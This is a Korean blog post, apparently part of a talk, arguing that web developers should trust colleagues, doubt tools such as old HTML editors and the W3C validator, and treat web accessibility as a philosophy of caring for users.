다음은 꼭 한번 읽어보세요: (오픈 웹 현재 구글 그룹스로 변경되어 아래 링크를 확인할 수 없을 수 있습니다)


수칙 3. 사람을 믿고, 기계를 의심하라

지금까지는 지식과 정보, 기술적인 부분에 대해서 두가지 수칙을 들었고, 그 안에서 몇가지 작은 이야기들을 전해 드렸습니다. 이제 세번째 수칙으로 ‘사람을 믿고, 기계를 의심하라’고 말씀을 드리면서 수칙 3.1 ‘사람을 믿어라’라고 부탁드리고 싶습니다.

3.1 동료를 믿어라

첫번째로 웹 기획자는 누구보다 열심히 웹 접근성와 사용성에 대해서 고민을 하는 사람입니다. 그들이 다소 거만하고 잘난 체를 할지 모르지만 그들의 머리 속에는 우리들이 걱정하는 이상으로 많은 것들을 고민하고 있다라는 사실을 잊지 마시길 바랍니다.

에이젼시에서 일을 했던 경험을 돌이켜보면 제가 사내에서 웹 접근성과 표준에 대한 이야기를 꺼낼 때 그리고 설득하는 과정에서 디자이너를 이해시키는 일이 가장 쉽지 않았었습니다. 그러던 중 함께 스터디를 하던 디자이너 친구 한 명이 이런 질문을 하더군요. ‘과연 웹 표준을 지킬 수 없는 디자인이 있느냐? 있다면 어떤 디자인이냐?’라고 말이죠. 그날 스터디에서는 저를 비롯해서 여러명의 사람들이 한국의 비주얼이 강한 디자인 때문에 표준을 적용하기 어렵다라고 목소리를 높이고 있었거든요. 하지만 막상 그 디자이너 친구의 질문에 어떤 디자인이 절대 표준 기술만 가지고 만들 수 없다라고 대답하지 못했습니다. 물론, 실무에서 작업을 하다 보면 디자인 때문에 마크업과 css 작업에 애를 많이 겪고 있고, 종종 해결책을 찾지 못하고 CSS Hacks을 사용하기도 합니다. 하지만 돌이켜보면 정말 길이 없어서 그랬다기 보다 시간이 부족해서 차선책을 택했던 적이 더 많았음을 스스로 깨닫게 됩니다. 저는 그 날 이후로 함께 일 하는 웹디자이너를 설득하는 일을 그만 두었습니다. 그리고 까짓것 한 번 해볼테니 날 믿고 디자인을 해달라고 부탁하곤 했습니다.

이 자리에 모인 대부분의 분들이 웹 퍼블리셔 또는 UI 개발자라는 명함을 가지고 계실것으로 생각됩니다. 그만큼 그 어느 직군보다 웹 표준과 접근성에 대해서 관심이 높고, 열정이 대단하다고 생각합니다. 어떤 일이든 시작이 가장 어렵고 첫 걸음을 옮기는 것이 가장 힘듭니다. 그 큰 걸음을 지금 여러분이 떼고 있으신 겁니다. 때문에 저는 감히 여러분 모두를 웹 표준 전문가라고 말씀드립니다. ASP든 JSP든 서버단에서 개발 업무를 보고 계신 개발자님들 동료 UI개발자 분들의 실력을 믿어보시길 바라겠습니다.

문화적인 차이일 수 있겠지만 한국은 지나치게 고객을 무시하고, 의심하는 경향이 있습니다. 사이트 발주자인 클라이언트의 무지함을 욕하고, 사이트 사용자인 고객의 멍청함에 잔득 걱정을 합니다. 때문에 온갖 보안 프로그램을 깔기를 강요하고 프레임셋으로 URL을 감추고, 우클릭을 막아버리고, 온갖 문서를 보면서 동의를 강요합니다.

개발자들의 논리 중에 가장 우수운 것이 바로 ‘자신 역시 한 명의 사용자(고객)이다’라는 점입니다. 그렇게 사용자들을 무시하면서 자신을 또 명의 사용자로 생각한다는 것. 결국 누워서 침을 뱉은 것 아닌가요.

또 한가지 개발자들은 오로지 코딩만 잘 하면 된다고 생각합니다. 발주자건 사용자건 그들을 상대하는 건 기획자라고 생각합니다. 웹 접근성과 웹 표준에 대한 인식 제고나 설득 역시 기획자가 해야할 것이라고 생각하고, 웹 퍼블리셔니 UI개발자니 하면서 갑자기 한 자리를 차지하기 시작한 사람들이 해야 한다고 생각합니다.

만약 개발자 직군이 명확하게 클라이언트단과 서버단으로 구분되어 서버사이드개발자가 순수하게 로직만 작성한다면 반드시 틀린 말은 아닐 수 있습니다. 하지만 제가 서두에서 개발자의 범위를 포괄적 개발자로 설정한 것 처럼 현실은 그렇치 않습니다. 그리고 앞으로도 상당한 기간동안 지금의 현실이 갑자기 바뀌지도 않을 것으로 생각됩니다. 지금, 개발자인 사람들 모두가 같은 고민과 철학으로 고객을 바꾸고 변화 시킬 필요가 있는 겁니다.

3.2 기계를 의심하라

개발 경험이 오래되신 분들은 과거 핫도그 웹 에디터나모 웹 에디터 등을 기억하실 겁니다. 어도비의 고라이브 있군요. 드림위버의 초기 버전도 언듯 떠오르실 분도 계실겁니다. 당시의 이런 에디터 툴은 편리하게 홈페이지를 만들어 주기는 했지만 웹 표준을 몰랐던 브라우저들 처럼 툴 역시 웹 표준을 인식하지 못했습니다. 때문에 불필요한 마크업과 CSS를 만들어 냈고, 호환성이 확보되지 않은 자바스크립트 코드를 마구 집어 넣었습니다. 지금은 드림위버등 많은 에디터들이 웹 접근성과 웹 표준 스펙을 반영하고 있지만 여전히 일부 에디터는 잘못된 코드와 DTD의 생략을 기본 값으로 설정해 놓고 있습니다.

특히 나모 웹 에디터는 저 역시 98년 당시에 많이 사용했던 에디터입니다. 이 에디터는 자바스크립트를 자동으로 생성해 주는 마법사 툴이 있었는데, 호환성이 확보되지 않은 스크립트 코드를 만들어 냈던 것으로 기억합니다. 그 코드가 IE전용이었다는 사실은 한참이나 지나서야 알게된 사실들이었습니다. 초기 드림위버가 만들어낸 코드 역시 엉망진창이었습니다. 초기 버전에서 만들어낸 엉망의 코드 때문에 많은 개발자들이 워지익 툴의 편리함에도 불구하고 나모 웹 에디터나 드림위버 등의 사용을 꺼리게 되기도 했었습니다. 다행히 최근 출시된 새로운 버전이나 에디터들은 많은 향상이 있어 과거처럼 엉망인 경우는 드믄것 같습니다. 옛 말에 장인은 연장 탓을 하지 않는다고 하죠. 훌륭한 웹 개발자라면 툴 때문에 웹 표준을 지키기 어렵다라는 말은 하지 않아야겠죠. 하지만 툴이 가져다 주는 편리함과 생산성은 역시 무시할 수 없을 것입니다. 때문에 어떤 툴을 자신의 주력 툴로 결정한 것인지는 매우 중요하고, 잘 선택되어야 합니다. 무료든 유료든 아주 다양한 에디터들이 존재하고 있습니다. 충분히 검증된 제품을 선택하시길 바랍니다.

또 한가지, 개발자들의 PC는 회사 사정에 따라 차이는 있겠지만 일반적으로 부족하지 않은 스펙을 가지고 있습니다. 하지만 인터넷에 접속하는 모든 PC가 아이온과 콜 오브 듀티같은 인기 게임을 실행시킬 있을 만큼 멋지진 않습니다. 학교나 관공서같은 곳의 PC는 생각보다 오래된 것이 많습니다. 이미지와 플래쉬 무비로 무겁게 제작된 사이트들 때문에 PC를 몇 번이나 리부팅해야 하는 사람들도 있을 것입니다.

Markup Validation Service

Markup Validation Service


마지막으로 표준을 열심히 지키고 계신 여러분들이 절대로 잊지 말아야 할 한가지를 말씀 드리겠습니다. HTML과 CSS에 대해서 충분히 의미 있게 그리고 호환성이 확보된 표준 스펙을 따랐을 경우에 우리는 W3C의 벨리데이션 서비스를 통해서 이같은 유효성 검사 통과 화면을 받아 볼 수 있습니다. 하지만 이 순간 여러분은 과연 이 결과가 타당한지에 대한 의구심을 가질 필요가 있습니다. 벨리데이션 검사는 단지 코드에 대한 문법 검사일 뿐입니다. 파란 하늘 이미지에 ‘용광로’라고 적어 넣은 alt 속성을 확인 했더라도 이 검사는 초록색 ‘성공’ 메세지를 멋지게 보여줄 것입니다. 과연 제대로 만든 페이지였을까요?


마치며

큰 수칙 3가지를 전해 드리면서 그리고 첫번째 수칙을 통해서 웹 개발자에게 있어서 웹 접근성을 향상시키는 가장 확실하고 정직한 방법은 '공부'라고 했습니다. 표준 스펙을 얼마나 제대로 알고 있는지 그리고 얼마나 명확하게 적용할 있는지가 가장 중요하다고 생각합니다. 그래서 저는 웹 표준을 웹 개발자에게 있어서 '기술'이라고 생각하고, 웹 접근성은 다른 사람을 생각하고 타인을 배려하고자 하는 '철학'에 빗대어 의미를 전달해 드리고자 했습니다. 기본적으로 웹 접근성 역시도 여러가지 명세와 가이드로 틀을 갖춰 나가고 있지만 근본적으로 사람에 대한 마음을 담는 것이라고 생각하기 때문입니다. 개발자는 코드만 잘 짜면 된다라는 생각은 이제 버려야 합니다. 이 코드가 사람을 차별하는 칼이 될 수 있음을 아셔야 합니다. 그래서 더욱 더 왜 내가 웹 접근성을 고민해야 하는지에 대한 자기 철학이 필요한 이유입니다. 끊임 없는 자기 계발과 철학의 발견. 이 이야기를 드리고 싶었습니다.
Posted by 1010